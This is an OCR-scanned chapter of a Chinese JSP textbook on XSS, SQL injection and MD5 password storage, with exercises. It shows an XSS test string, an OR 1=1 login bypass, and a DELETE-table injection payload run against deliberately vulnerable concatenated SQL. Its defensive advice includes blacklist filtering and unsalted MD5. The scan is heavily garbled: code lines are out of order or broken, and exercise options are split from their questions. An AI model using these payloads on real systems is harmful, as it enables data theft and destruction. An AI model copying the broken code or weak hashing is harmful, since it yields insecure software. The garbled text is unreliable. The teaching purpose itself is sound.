15.2.2 跨 站 脚本 攻击 的 危害 


XSS 攻击 的 主要 危害 如 下 。 

(1) 盗 取 用 户 的 各 类 敏感 信息 ,例如 账号 、 密 码 等 。 

(2) 读 取 、 算 改 、 添 加 、 删 除 企 业 敏感 数据 。 

(3) 读 取 企业 重要 的 具有 商业 价值 的 资料 。 

(4) 控制 受害 者 计算 机 向 其 他 网 站 发 起 攻击 等 。 

一 些 比较 著名 的 网 站 ,例如 eBay, 也 曾 遭 受过 XSS 攻击 .有 兴趣 的 读者 可 以 参考 相关 
资料 。 


15.2.3 防范 方法 


对 于 XSS 攻击 的 防范 ,主要 从 网 站 开发 者 角度 和 用 户 角 度 来 阐述 
1. 从 网 站 开发 者 角度 
根据 来 自 OWASP(Open Web Application Security Project, 开 放 应 用 安全 计划 组 织 
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的 


过 
en 


E 议 ,对 XSS 最 佳 的 防护 主要 体现 在 以 下 两 个 方面 。 


(1) 对 于 任意 的 输入 数据 应 该 进行 验证 ,以 有 效 检 测 攻击 。 

也 就 是 说 ,在 某 个 数据 被 接受 之 前 必须 使 用 一 定 的 验证 机 制 来 验证 所 有 输入 数据 ,例如 
长 度 、 格 式 、 类 型 .语法 等 。 其 常见 的 方法 如 黑 名 单 验证 ,就 是 将 一 些 常见 的 字符 (例如 <、> 
或 类 似 script 的 关键 字 ) 进 行 过 滤 ,效果 比较 好 。 不 过 ,该 方式 也 有 局 限 性 ,很 容易 被 XSS 
变种 攻击 绕 过 验证 机 制 。 

(2) 对 于 任意 的 输出 数据 ,要 进行 适当 的 编码 ,防止 任何 已 成 功 注入 的 脚本 在 浏览 器 端 
运行 ; 在 数据 输出 前 ,确保 用 户 提交 的 数据 已 被 正确 进行 编码 ; 可 在 代码 中 明确 指定 输出 


的 编码 方式 ( 


例如 ISO-8859-1) ,而 不 是 让 攻击 者 发 送 一 个 由 他 自己 编码 的 脚本 给 用 户 。 


下 面 阐述 一 种 具体 的 实现 方法 。 


XSS 攻 吉 


的 一 个 来 源 在 于 ,用 户 登录 时 可 以 让 那些 特殊 的 字符 也 输入 进去 。 因 此 可 以 


在 表单 提交 的 过 程 中 利用 一 定 的 手段 进行 限制 。 例 如 ,可 以 限制 输入 的 字符 数 来 阻止 那些 
较 长 的 script 的 输入 。 另 外 ,还 可 以 用 JavaScript 对 字符 进行 过 滤 , 将 %、<、>、[、]、{、)、;、 
& .+、-、"、(、) 等 字符 过 滤 掉 。 下 面 的 filterl. jsp 可 以 将 <” 和 “>” 进 行 简单 的 过 滤 。 


filterl. jsp 


<html> 
<body> 
< Script 


} 


} 


</script 


</form> 
<hr> 


<% 


3 
先 > 
</body> 
</html > 


<% @ page language = "java" import = "java. util. *" pageEncoding = "gb2312" %> 


function filter(strTemp) { 
strTemp = strTemp. replace(/<|>/g,""); 
return strTemp; 


function send(){ 
document. queryForm. flower. value = filter(document. queryForm. flower. value); 
document. queryForm. submit( ); 


欢迎 查询 鲜花 

<form name = "queryForm" action = "filter1. jsp" method = "post"> 
请 您 输入 鲜花 的 信息 : < br> 
< input name = "flower" type = "text" size= "50"> 
< input type = "button" value = "查询 " onClick = "send( )"> 


提交 的 鲜花 : 


String flower = request. getParameter("flower"); 
if(flower!= null){ 


type = "text/javascript"> 


out. println(flower); 
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运行 ,输入 一 段 脚 本 ,如 图 15-22 所 示 。 
提交 ,打印 结果 如 图 15-23 所 示 。 


请 您 输入 鲜花 的 信息 : 
《script>alert (Rose”);¢/script> 匿 副 提交 的 鲜花 ， scriptalert(“Rose”); /script 
图 15-22 输入 脚本 图 15-23 打印 结果 


此 处 用 到 了 正则 表达 式 “replaceWw<|>/g,""), 其 意义 是 将 字符 串 中 所 有 的 < 和 > 替换 为 
空 字符 。 

不 过 ,以 上 代码 是 用 JavaScript 来 进行 过 滤 ,由 于 该 过 滤 代码 运行 在 客户 端 ,可 能 被 攻 
击 者 绕 过 ,于 是 也 可 以 将 过 滤 的 代码 写 在 服务 器 端 ,代码 如 filter2. jsp 所 示 。 


出 


filter2. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
< html > 
<body> 
欢迎 查询 鲜花 
< form name = "queryEorm”action = "filter2. jsp”method = "post"> 
请 您 输入 鲜花 的 信息 : <br> 
< input name = "flower" type = "text" size= "50"> 
< input type= "submit" value = "查询 "> 
</form> 
<hr> 
提交 的 鲜花 : 
去 第 
String flower = request. getParameter("flower"); 
if(flower!= null){ 
flower = flower. replaceAll("<|>", ""); 
out. println(flower); 
%> 
</body> 
</html > 


输入 同样 的 内 容 ,效果 一 样 。 注 意 ,此 处 也 用 到 了 正则 表达 式 。 

此 处 使 用 正则 表达 式 将 字符 串 中 所 有 的 < 和 > 蔡 换 为 空 字符 ,只 是 一 个 简单 的 测试 。 在 
实际 操作 过 程 中 需要 替换 的 字符 很 多 .有 兴趣 的 读者 可 以 参考 正则 表达 式 的 相关 知识 。 

当然 ,过 滤 字 符 的 工作 也 可 以 由 过 滤器 来 做 。 

在 一 般 情况 下 ,推荐 对 所 有 动态 页 面 的 输入 和 输出 都 进行 编码 ,严格 地 讲 , 数 据 库 数据 
的 存 取 也 应 该 进行 编码 ,这样 可 以 在 较 大 程度 上 避免 跨 站 脚本 攻击 。 

2. 从 网 站 用 户 角 度 

作为 网 站 用 户 , 当 打开 一 些 Email 或 附件 、 浏 览 论坛 帖子 时 一 定 要 特别 慎重 ,否则 有 可 
能 导致 恶意 脚本 执行 。 不 过 .用 户 也 可 以 在 浏览 器 设置 中 关闭 JavaScript, 如 图 15-24 所 示 。 
如 果 是 下 浏览 器 ,可 以 选择 菜单 命令 “工具 ”|“Internet 选项 ”, 然 后 单 击 “ 安 全 ”|“ 自 定义 级 
别 ”, 在 弹出 的 对 话 框 中 进行 设置 。 
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安全 设置 - Internet 区 域 
设置 


,Er Fro] 
( 喇 XIL 浏览 器 应 用 程序 
日 天 用 


@ 提示 
睦 .IET Franenork 相关 组 件 
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# 重 新 启动 Internet Explorer 之 后 生效 
重 置 自 定义 设置 
重 置 为 B): [中 -高 -BAD 


15-24 禁用 cookie 


另外 ,用 户 还 应 该 增强 安全 意识 ,只 信任 值得 信任 的 站 点 或 内 容 ,不 要 信任 其 他 网 站 发 
到 自己 信任 的 网 站 中 的 内 容 ,还 可 以 使 用 浏览 器 中 的 一 些 其 他 配置 等 。 


15.3 SQL 注入 


15.3.1 SQL 注入 的 原理 


SQL 注入 在 英文 中 称 为 SQL Injection, 它 是 黑客 对 Web 数据 库 进行 攻击 的 常用 手段 
之 一 。 在 这 种 攻击 方式 中 ,恶意 代码 被 插入 到 查询 字符 串 中 ,然后 将 该 字符 串 传递 到 数据 库 
服务 器 执行 ,根据 数据 库 返 回 的 结果 获得 某 些 数据 并 发 起 进一步 攻击 ,甚至 获取 管理 员 账 
号 ,密码 窃取 或 者 算 改 系统 数据 。 

首先 以 一 个 简单 的 例子 来 解释 SQL 注入 。 表 15-3 T_CUSTOMER 结构 

在 数据 库 中 有 一 个 表格 T_CUSTOMER ,存储 了 


入 列 名 意义 
用 户 的 信息 ,如 表 15-3 所 示 。 i 三 导 
有 一 个 登录 界面 ,输入 用 户 的 账号 、 密 码 , 查 询 数 PASSWORD 密码 
据 库 ,进行 登录 。 为 了 将 问题 简化 ,此 处 仅仅 将 其 ” cNAME 姓名 
SQL 打印 出 来 供 分 析 。 IDNO 身份 证 号 
下 面 的 login.jsp 实现 登录 界面 ,代码 如 下 。 
login. jsp 


<% @ page language = "java" import = "java. util. * ”pageEncoding = "gb2312" %> 
<html> 
<body> 
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欢迎 登录 鲜花 订购 系统 
< form action = "loginResult. jsp" method = "post"> 
请 您 输入 账号 : 
< input name = "account" type = "text"> 
< br> 
请 您 输入 密码 : 
< input name = "password" type = "password"> 
< input type= "submit" value= "登录 "> 
</form> 
</body> 
</html > 


运行 ,效果 如 图 15-25 所 示 。 


欢迎 登录 鲜花 订购 系统 
请 您 输入 账号 ， ookehua 
请 您 输入 密码 ， 。eeeeeee EE 


图 15-25 登录 界面 


在 文本 框 内 输入 账号 和 密码 信息 ,提交 ,能 够 到 达 loginResult. jsp, 显 示 登 录 结果 ,代码 
如 下 。 


loginResult. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
<S% 
// 获 取 账 号 和 密码 
String account = request. getParameter("account"); 
String password = request. getParameter("password" ); 
if(account!= null){ 
// 验 证 账号 和 密码 
String sql = "SELECT * FROM T CUSTOMER WHERE ACCOUNT = ' 
+ account 
+ "'AND PRSSWORD = "" 
+ password 
+ mm 
out.println(" 数 据 库 执 行 语句 : <br>”+ sql); 
先 > 
</body> 
</html > 


运行 login. jsp, 输 入 正常 数据 (例如 guokehua 和 guokehua) , 提交, 显示 的 结果 如 
图 15-26 所 示 。 


数据 库 执行 语句 : 
SELECT # FROM T_CUSTONER WHERE ACCOUNT=’ guokehua AND PASSHORD=’ guokehua’ 


图 15-26 输入 正常 数据 显示 的 结果 
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从 SQL 请 法 可 以 看 出 ,该 结果 没有 任何 问题 ,数据 库 将 对 该 输入 进行 验证 ,查看 能 否 返 
回 结果 ,如 果 能 ,表示 登录 成 功 ,否则 表示 登录 失败 。 欢迎 登录 鲜花 订购 系统 
但 是 该 程序 有 漏洞 。 例 如 ,客户 输入 的 账号 为 


请 您 输入 账号 ， [2 OR = 一 
“aa' OR 1=1 --”, 密 码 随 便 输入 ,如 “aa”, 如 图 15-27 > 


请 您 输入 密码 ， 
MR 图 输入 不 正常 数据 时 的 界面 
二 本 -27 时 

查询 显示 的 结果 如 图 15-28 所 示 。 ee 本 

数据 库 执行 语句 ， , 

SELECT * FROM T_CUSTONMER WHERE ACCOUNT= aa OR 1=1 一 AND PASSWORD= aa 

图 15-28 输入 不 正常 数据 显示 的 结果 

在 该 程序 中 ,SQL 语句 如 下 。 


SELECT * FROM T_CUSTOMER 
WHERE ACCOUNT = 'aa' OR 1 = 1 -- 'AND PASSWORD = 'aa" 


其 中 ,-- 表 示 注 释 , 因 此 ,真正 运行 的 SQL 语句 如 下 。 


SELECT * FROM T_ CUSTOMER WHERE ACCOUNT = 'aa'OR1=1 


此 处 ,“1=1” 永 远 为 真 ,所 以 该 语句 将 返回 T_CUSTOMER 表 中 的 所 有 记录 。 此 时 ,网 
站 受到 了 SQL 注入 的 攻击 。 

另 一 种 方法 是 使 用 通配符 进行 注入 。 例 如 有 一 个 页 面 ,可 以 根据 鲜花 名 称 
(FLOWERNAME) 从 T_FLOWER 表 中 进行 模糊 查询 。 同 样 ,为 了 将 问题 简化 ,此 处 仅仅 
将 其 SQL 打印 出 来 供 分 析 ,代码 如 query. jsp 所 示 。 


query.jsp 
<%@ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
欢迎 查询 鲜花 <hr> 


< form action = "queryResult. jsp”method = "post"> 
请 您 输入 花 打 的 信息 : < br> 
< input name = "flower" type= "text" size= "50"> 
< input type = "submit" value = "查询 "> 

</form> 

</body> 

</html > 


运行 ,效果 如 图 15-29 所 示 。 


欢迎 查询 鲜花 
请 您 输入 花 休 的 信息 ， 
Rose El 


15-29 ”鲜花 查询 界面 
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在 文本 框 内 输入 查询 信息 ,提交 ,能 够 到 达 queryResult. jsp, 显示 查询 结果 。 
queryResult. jsp 的 代码 如 下 。 


queryResult. jsp 


<% @ page language = "java" import = "java. util. *" pageEncoding = "gb2312" %> 
<html> 
<body> 
<% 
// 获 取 鲜 花 
String flower = request. getParameter("flower"); 
String sql = "SELECT * FROM T_ FLOWER WHERE FLOWERNAE LIKE '%" 


+ flower 
i 
out. println( "数据 库 执行 语句 : <br>" + sql); 
第 > 
</body> 
</html > 


数据 库 执行 语句 ， 
SELECT * FROM T_FLOWER WHERE FLOWERNAE LIKE ’%Rose%’ 


图 15-30 输入 正常 数据 显示 的 结果 


同样 ,该 结果 没有 任何 问题 ,数据 库 将 进行 模糊 查询 并 且 返 回 结果 。 
但 是 ,如 果 在 文本 框 内 输入 *%';DELETE FROM T_FLOWER --”, 查 询 显示 的 结果 如 
图 15-31 所 示 。 


数据 库 执行 语句 ， 
SELECT * FROM T_FLOWER WHERE FLOWERNAE LIKE *%%’ ;DELETE FRON T_FLOWER 一 %” 


图 15-31 输入 不 正常 数据 显示 的 结果 


这 样 ,就 可 以 删除 T_FLOWER 表 中 所 有 的 内 容 。 
不 过 ,在 该 攻击 中 数据 库 表 名 T_FLOWER 可 以 通过 猜测 的 方法 得 到 ,如 果 猜 测 不 准 ， 
那 就 没 办 法 攻击 了 。 


15.3.2 SQL 注入 攻击 的 危害 


SQL 注入 攻击 的 主要 危害 如 下 。 

(1) 非法 读 取 、 自 改 、 添 加 、 删 除数 据 库 中 的 数据 。 

(2) 盗 取 用 户 的 各 类 敏感 信息 ,获取 利益 。 

(3) 通过 修改 数据 库 来 修改 网 页 上 的 内 容 。 

(4) 私自 添加 或 删除 账号 。 

(5) 注入 木马 等 。 

由 于 SQL 注入 攻击 一 般 利 用 SQL 语法 ,这 使 得 所 有 基于 SQL 语言 标准 的 数据 库 软件 
(例如 SQL Server Oracle\MySQL .DB2 等 ) 都 有 可 能 受到 攻击 ,并 且 攻 击 的 发 生 和 Web 编 
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程 语言 本 身 无 关 , 例 如 ASP、JSP、PHP, 在 理论 上 都 无 法 完全 幸免 。 

SQL 注入 攻击 的 危险 是 比较 大 的 。 很 多 其 他 的 攻击 ,例如 DoS 等 ,可 能 通过 防火 墙 等 
手段 进行 阻拦 ,但 是 对 于 SQL 注入 攻击 ,由 于 注入 访问 是 通过 正常 用 户 端 进行 的 ,所 以 普通 
防火 墙 对 此 不 会 发 出 警示 ,一般 只 能 通过 程序 来 控制 ,而 SQL 攻击 通常 可 以 直接 访问 数据 
库 ,进而 甚至 能 够 获得 数据 库 所 在 的 服务 器 的 访问 权 , 因 此 危害 相当 严重 。 


15.3.3 防范 方法 


以 上 问题 的 解决 方法 有 很 多 种 ,比较 常见 的 方法 如 下 。 

1. 将 输入 中 的 单 引 号 变 成 双 引 号 

这 种 方法 经 常用 于 解决 数据 库 输入 问题 ,同时 也 是 一 种 对 数据 库 安全 问题 的 补救 措施 。 
例如 下 列 代码 : 


String sql ="SELECT * FROM T_CUSTOMER WHERE CNAME="'" 二 name 十 """; 


当 用 户 输入 “guokehua' OR 1=1 --” 时 ,首先 利用 程序 将 里 面 的 '( 单 引号 ) 换 成 "( 双 引 
号 ) ,于 是 输入 就 变 成 了 “guokehua”OR 1=1 --”,SQL 代码 变 成 了 : 


String sql = "SELECT * FROM T_CUSTOMER WHERE CNAME = 'guokehua" OR1=1 一 一 


很 显然 ,该 代码 不 符合 SQL 语法 。 
但 是 在 正常 情况 下 ,用户 输 入 “guokehua”, 程 序 将 其 中 的 ' 换 成 "。 当 然 , 输 入 的 字符 串 
内 没有 单 引 号 ,结果 仍 是 guokehua ,SQL 为 : 


String sql = "SELECT * FROM T CUSTOMER WHERE CNAME = 'guokehua'"; 


这 是 一 句 正常 的 SQL。 

不 过 ,有 时 候 攻击 者 可 以 将 单 引 号 隐藏 掉 , 例 如 用 “charOx27? 表 示 单 引号 。 所 以 ,该 方 
法 并 不 能 解决 所 有 问题 。 

2. 使 用 存储 过 程 

在 上 面 的 例子 中 ,可 以 将 查询 功能 写 在 存储 过 程 prcGetCustomer 内 ,调用 存储 过 程 的 
方法 如 下 。 


String sql = "exec prcGetCustomer'” + name + ""™"; 


当 攻 击 者 输入 “guokehua' or 1=1 --” 时 ,SQL 命令 变 为 : 


exec prcGetCustomer 'guokehua' or 1=1 -——" 


显然 无 法 通过 存储 过 程 的 编译 。 
注意 : 千 万 不 要 将 存储 过 程 定义 为 用 户 输入 的 SQL 语句 。 例 如 : 
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CREATE PROCEDURE prcTest (@input varchar(256) 
RS 
exec( @ input) 


从 安全 角度 讲 , 这 是 一 个 最 危险 的 错误 。 

实际 上 ,用 存储 过 程 也 不 能 完全 防范 本 节 中 出 现 的 问题 ,有 兴趣 的 读者 可 以 设计 另 一 个 
攻击 方法 。 不 过 ,安全 本 身 就 是 在 攻防 之 间 进 行 的 博弈 ,这 也 是 正常 现象 。 

3. 认真 对 表单 输入 进行 校 验 ,从 查询 变量 中 尽 可 能 多 地 滤 去 可 疑 字符 

通常 可 以 利用 一 些 手 段 ,测试 输入 字符 串 变 量 的 内 容 , 定 义 一 个 格式 为 只 接受 的 格式 ， 
只 有 此 种 格式 下 的 数据 才能 被 接受 ,拒绝 其 他 输入 的 内 容 , 例 如 二 进 制 数据 、 转 义 序列 和 注 
释 字 符 等 。 另 外 ,还 可 以 对 用 户 输 入 的 字符 串 变量 的 类 型 长度、 格式 和 范围 进行 验证 并 过 
滤 , 这 也 有 助 于 防止 SQL 注入 攻击 。 

4. 使 用 编程 技巧 

在 程序 中 组 织 SQL 语句 时 ,应 该 尽量 将 用 户 输 入 的 字符 串 以 参数 的 形式 进行 包装 ,而 
不 是 直接 内 入 SQL 语言 。 例 如 可 以 使 用 PreparedStatement 代替 Statement。 


15.4 密码 保护 与 验证 


在 Web 网 站 中 ,很 多 系统 都 涉及 存储 用 户 密码 。 那 么 怎样 将 密码 存储 到 数据 库 中 ? 如 
果 以 纯 文本 的 方式 存储 ,势必 会 遇 到 和 危险。 例如 上 一 节 中 的 数据 库 表格 T_CUSTOMER， 
打开 这 个 表格 ,看 到 的 结果 如 图 15-32 所 示 。 

密码 能 够 以 明文 形式 被 看 到 ,很 明显 ,如 果 攻 击 者 
取得 了 管理 员 权 限 ,或 者 攻击 者 本 身 就 是 管理 员 ,就 可 ACCOUNT “| PASSYORD “| CNANE ~ 
以 看 到 用 户 密码 。 因 此 ,密码 保护 显得 非常 重要 。 | 

密码 保护 的 目标 是 让 密码 以 他 人 看 不 懂 的 形式 存 二 | 富 人 
入 数据 库 。 一 般 的 方法 是 为 密码 生成 一 个 唯一 对 应 的 
摘要 ,也 可 以 理解 为 密 文 , 存 人 数据 库 , 当 用 户 登录 验 
证 时 再 根据 密码 生成 摘要 ,和 数据 库 中 的 摘要 对 比 验证 。 

提示 : 该 内 容 实际 上 是 单 向 加密 的 一 种 应 用 , 单 向 加 密 的 特点 是 将 明文 生成 密 文 , 而 无 
法 由 密 文生 成 明文 ; 相同 的 明文 每 次 加 密 都 生成 相同 的 密 文 ,由 明文 无 法 猜测 密 文 。 常 见 
的 单 向 加 密 算 法 有 MD5、SHA 等 。 

本 节 以 用 户 注册 为 例 ,配合 MD5 完成 这 个 功能 。 为 了 方便 ,仅仅 打印 出 INSERT 
语句 。 

首先 是 由 密码 明文 生成 MD5 消息 摘要 的 代码 ,实现 程序 如 MD5. java 所 示 。 


MDS. java 


图 15-32 表格 T_CUSTOMER 


package util; 
import java. security. MessageDigest; 
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public class MD5 { 
public static String generateCode(String str) throws Exception{ 
MessageDigest md5 = MessageDigest. getInstance( "MD5"); 
byte[ ] srcBytes = str. getBytes(); 
md5. update( srcBytes); 
byte[ ] resultBytes = md5. digest(); 
String result = new String(resultBytes); 
return result; 


} 


接 下 来 编写 注册 页 面 ,代码 如 register. jsp 所 示 。 


register. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<% @page import = "util. MD5" %> 
<html> 
<body> 
欢迎 注册 鲜花 订购 系统 
< form action="" method= "post"> 
请 您 输入 账号 : < input name = "account" type = "text">< br > 
请 您 输入 密码 : < input name = "password" type = "password"><br> 
请 您 输入 姓名 : < input name = "cname" type = "text">< br> 
输入 身份 证 号 : < input name = "idno" type = "text"><br> 
< input type = "submit" value = "注册 "> 
</form> 
< 和 
request. setCharacterEncoding( "gb2312"); 
String account = request. getParameter("account") ; 
if(account!= null){ 
String password = request. getParameter("password" ) 
String cname = request. getParameter("cname"); 
String idno = request. getParameter("idno"); 
// 加 密 
String newPassword = MD5. generateCode( password); 
String sql = "INSERT INTO T_CUSTOMER VALUES('" + 
account 十 "于 


newPassword + "','" + 
nae Ph Tn $ dpe; P Wy 


out. println(" 数 据 库 语句 为 : <br>" + sql); 


先 > 
</body> 
</html > 


运行 该 程序 ,输入 账号 (zhanghai)、 密 码 (19830302)、 姓名 ( 张 海 )、 身份 证 号 
(430721198303025211) ,如 图 15-33 所 示 。 
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欢迎 注册 鲜花 订购 系统 
请 您 输入 账号 ， zhanshai 
请 您 输入 密码 :eee 
请 您 输入 姓名 ， 张 海 
输入 身份 证 号 ， 430721198303025211 
15-33 ”输入 注册 信息 
注册 ,得 到 结果 ,打印 如 图 15-34 所 示 。 


数据 库 语句 为， 
INSERT INTO T_CUSTONER YALUES( zhanghai’ ,” ?9913E[?JpP’,’ 张 海 ',* 430721198303025211’ ) 


15-34 打印 结果 


可 以 看 到 ,密码 以 密 文 形式 添加 到 了 数据 库 。 
再 编写 一 个 登录 网 页 ,代码 如 login. jsp 所 示 。 


login. jsp 
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<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<% @page import = "util. MD5" %> 
<html> 
<body> 
欢迎 登录 鲜花 订购 系统 
<form action="" method= "post"> 
请 您 输入 账号 : 
< input name = "account" type= "text"> 
<br> 
请 您 输入 密码 : 
< input name = "password" type = "password"> 
< input type = "submit" value = "登录 "> 
</form> 
<% 
String account = request. getParameter( "account"); 
if(account!= null){ 
String password = request. getParameter("password" ); 
// 加 密 
String newPassword = MD5. generateCode( password); 
String sql = "SELECT * FROM T CUSTOMER WHERE RMCCOUNT = '"” + 
account + "' RND PASSWORD = '" + 
newPassword + "'"; 


out. println(" 数 据 库 语句 为 : <br>" + sql); 
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输入 前 面 注册 的 账号 (zhanghai) 和 密码 (19830302) , 即 正确 的 值 , 如 图 15-35 所 示 。 


欢迎 登录 鲜花 订购 系统 
请 您 输入 账号 ， zhanehai 
请 您 输入 密码 ， 。eeeeeee 


15-35 ”输入 正确 的 值 
登录 ,结果 如 图 15-36 所 示 。 


数据 库 语句 为 ， 
SELECT * FRON T_CUSTOMER WHERE ACCOUNT=' zhanghai” AND PASSWORD=" 33319E[3JpP 


图 15-36 登录 时 产生 的 SELECT 语句 
从 字面 上 可 以 看 出 ,该 加 密 后 的 密码 和 前 面 注册 过 程 中 加 密 的 密码 相等 (不 过 由 于 网 页 
显示 的 原因 ,有 些 字 符 无 法 显示 ,读者 也 可 以 自己 一 个 字 节 一 个 字 节 地 验证 ) ,因此 登录 可 以 
通过 。 
如 果 输 入 错误 的 密码 ,例如 密码 输入 19800302 ,结果 如 图 15-37 所 示 。 


数据 库 语 句 为 
SELECT * FROM T_CUSTOMER WHERE ACCOUNT=" zhanghai” AND PASSWORD=' 握 B82#999u97 


15-37 输入 错误 信息 时 产生 的 SELECT 语句 


从 字面 上 可 以 看 出 ,这 个 密码 的 密 文 和 前 面 注 册 时 的 密 文 不 相等 ,登录 无 法 通过 。 
显然 ,数据 库 管 理 员 无 法 得 知 密码 原文 。 当 用 户 忘 记 密码 时 ,可 以 向 管理 员 申 请 修改 密 
码 , 但 是 无 法 让 管理 员 告知 其 密码 。 


15.5 本 章 小 结 


本 章 介绍 了 Web 编程 中 的 一 些 安全 问题 ,包括 URL 操作 攻击 、 跨 站 脚本 、SQL 注 和 人 和 
Web 网 站 中 的 密码 安全 。 在 实际 项 目 执行 的 过 程 中 ,可 以 针对 情况 进行 相应 的 处 理 。 


15.6 课 后 习题 


一 、 填空 题 

1. Web 是 的 一 种 实现 方式 ,与 传统 C/S 程序 的 编程 方法 不 同 。 

2. URL 操作 攻击 的 原理 是 

3. XSS 的 英文 全 称 为 :中文 名 是 

4. 恶意 攻击 者 利用 网 站 漏洞 往 Web 页 面 里 插入 恶意 代码 称 为 ;这 属于 
攻击 。 

5. SQL 注入 的 英文 名 称 为 , 它 是 黑客 对 Web 数据 库 进 行 攻击 的 常用 手段 之 一 。 


6. 将 密码 生成 唯一 的 一 个 密 文 , 且 无 法 由 密 文生 成 密码 ,这 一 过 程 称 为 
7. 常见 的 单 向 加 密 算法 有 (列举 3 个 ) 
8. 为 了 安全 起 见 ， 在 保存 注册 的 登录 信息 本数 据 库 里 存 依 的 是 显 号 和 密码 的 
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二 、 选 择 题 
下 列 选项 中 不 是 安全 编程 原则 的 是 ( Vs 


意 


A. 
B. 
多 
D. 
. 下 列 对 跨 站 脚本 攻击 (XSS) 的 解释 最 准确 的 一 项 是 ( ye 
六 
B. 
葵 
D. 
. 为 了 防御 XSS 跨 站 脚本 攻击 ,可 以 采用 多 种 安全 措施 ,但 ( ) 不 可 取 。 
A. 
B. 
写 
D. 
. 关于 SQL 注入 说 法 正确 的 是 ( 站 
A. 
B. 
洛 
D. 
. 对 于 SQL 注入 和 XSS 跨 站 ,下列 说 法 中 不 正确 的 是 ( 大 
A. 


C， 


D. 


和 


尽 可 能 让 程序 只 实现 需要 的 功能 

尽 可 能 使 用 高 级 语言 进行 编程 

不 要 信任 用 户 输入 的 数据 

尽 可 能 考虑 到 意外 的 情况 ,并 设计 妥善 的 处 理 方法 


引诱 用 户 单 击 虚假 网 络 链接 的 一 种 攻击 方法 

构造 精妙 的 关系 数据 库 的 结构 化 查询 语言 对 数据 库 进 行 非法 的 访问 
将 恶意 代码 嵌入 到 用 户 浏览 的 Web 网 页 中 ,从 而 达到 恶意 的 目的 
一 种 很 强大 的 木马 攻击 手段 


编写 安全 的 代码 ,对 用 户 数据 进行 严格 检查 过 滤 

阻止 用 户 向 Web 页 面 提交 数据 

在 可 能 情况 下 避免 提交 HTML 代码 

即使 允许 提交 特定 的 HTML 标签 ,也 必须 对 该 标签 的 各 属性 进行 仔细 检查 


SQL 注入 攻击 是 攻击 者 直接 对 Web 数据 库 的 攻击 

SQL 注入 攻击 除了 可 以 让 攻击 者 绕 过 认证 之 外 ,不 会 再 有 其 他 危害 
SQL 注入 攻击 可 以 造成 整个 数据 库 全 部 泄露 

SQL 注入 漏洞 可 以 通过 加 固 服务 器 来 实现 


SQL 注入 的 SQL 命令 在 用 户 浏 览 器 中 执行 ,而 XSS 跨 站 的 脚本 在 Web 后 台数 
据 库 中 执行 


.XSS 和 SQL 注入 攻击 中 的 攻击 指令 都 是 由 黑客 通过 用 户 输入 域 注 入 ,只 不 过 


XSS 注入 的 是 HTML 代码 (以 后 称 脚本 ) ,而 SQL 注入 中 注入 的 是 SQL 命令 
XSS 和 SQL 注入 攻击 都 利用 了 Web 服务 器 没有 对 用 户 输入 数据 进行 严格 检查 
和 有 效 过 滤 的 缺陷 

XSS 攻击 盗 取 Web 终端 用 户 的 敏感 数据 ,甚至 控制 用 户 终端 操作 ,SQL 注入 攻 
击 资 取 Web 后 台数 据 库 中 的 敏感 数据 ,甚至 控制 整个 数据 库 服务 器 


. 对 于 SQL 注入 攻击 的 防御 ,可 以 采取 以 下 ( ) 措 施 。 
A. 


不 要 使 用 管理 员 权 限 的 数据 库 连 接 ,为 每 个 应 用 使 用 单独 的 权限 有 限 的 数据 库 
连接 


. 不 要 把 机 密 信 息 直接 存放 ,加密 或 者 hash 掉 密码 和 敏感 的 信息 ; 不 要 使 用 动态 


拼装 SQL, 可 以 使 用 参数 化 的 SQL 或 者 直接 使 用 存储 过 程 进行 数据 查询 存 取 


. 对 表单 里 的 数据 进行 验证 与 过 滤 , 在 实际 开发 过 程 中 可 以 单独 列 一 个 验证 函数 ， 


该 函数 把 每 个 要 过 滤 的 关键 词 (如 select、1=1 等 ) 都 列 出 来 ,然后 每 个 表单 提交 
时 都 调用 这 个 函数 


.以 上 3 个 选项 都 对 
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7. 下 列 关 于 MD5 的 说 法 不 正确 的 是 ( Ne 
A. MD5 是 单 向 hash 函数 
B. 增加 Web 安全 账户 的 一 个 常用 手段 就 是 将 管理 员 的 用 户 密码 信息 经 过 MD5 运 
算 ,在 数据 库 中 存储 密码 的 hash 值 

. Web 数据 库 中 存储 的 密码 经 过 hash 之 后 ,攻击 者 即使 看 到 hash 的 密码 也 无 法 
用 该 信息 直接 登录 ,还 需要 进一步 破解 
D. MD5 可 以 将 密码 加 密 为 唯一 的 密 文 ,又 可 以 通过 密 文 解 密 为 密码 

8. 在 登录 结果 . jsp 中 有 以 下 一 段 代码 : 


人 


SELECT #* FROM T_CUSTOMER WHERE ACCOUNT = ' + account 
+ 'AND PRSSWORD = ' + password + '; 


且 没 有 其 他 转换 语句 ,如 果 输 入 的 用 户 账号 为 ”Tom' OR 1=1 --”, 密 码 随意 输入 , 则 出 现 的 


情况 是 ( %% 
A. 密码 错误 B. Tom 用 户 的 记录 


C. T_CUSTOMER 表 中 的 所 有 记录 D. 以 上 情况 均 不 对 


实 洲 


本 章 选 学 ,建议 学 时 : 2 


前 面 学 习 了 Java Web 开发 环境 的 配置 .JSP 基本 语法 、JSP 访问 数据 库 、URL 传 值 和 
JSP 指令 与 动作 ,这 些 内 容 属于 JSP 编程 中 的 基础 知识 。 本 章 将 利用 一 个 投票 系统 来 对 这 
些 内 容 进行 复习 。 

限于 所 学 知识 ,本 章 的 解决 方案 并 不 一 定 是 最 优 (例如 没有 使 用 DAO 模式 ) ,相应 的 解 
决 方案 会 在 后 面 的 章节 讲解 。 


16.1 投票 系统 的 案例 需求 


本 章 将 制作 一 个 投票 系统 ,让 学 生 给 多 个 自己 喜爱 的 老师 投票 。 该 系统 由 一 个 界面 组 
成 ,系统 运行 ,出 现 投 票 界面 ,如 图 16-1 所 示 。 

在 这 个 界面 中 ,标题 为 “欢迎 给 教师 投票 >; 在 界面 上 有 一 个 表格 ,显示 了 各 位 教师 的 编 
号 ,姓名 ,得 票数 ,其 中 得 票数 显示 为 一 个 红色 的 进度 条 ,并 显示 得 票 的 数值 ; 表格 的 第 4 列 
是 “投票 "链接 , 单 击 链接 ,该 教师 的 票数 加 1, 并 显示 在 界面 上 。 

例如 , 单 击 编 号 为 2 的 教师 对 应 的 “投票 ”链接 ,界面 效果 如 图 16-2 所 示 。 


欢迎 给 教师 投票 

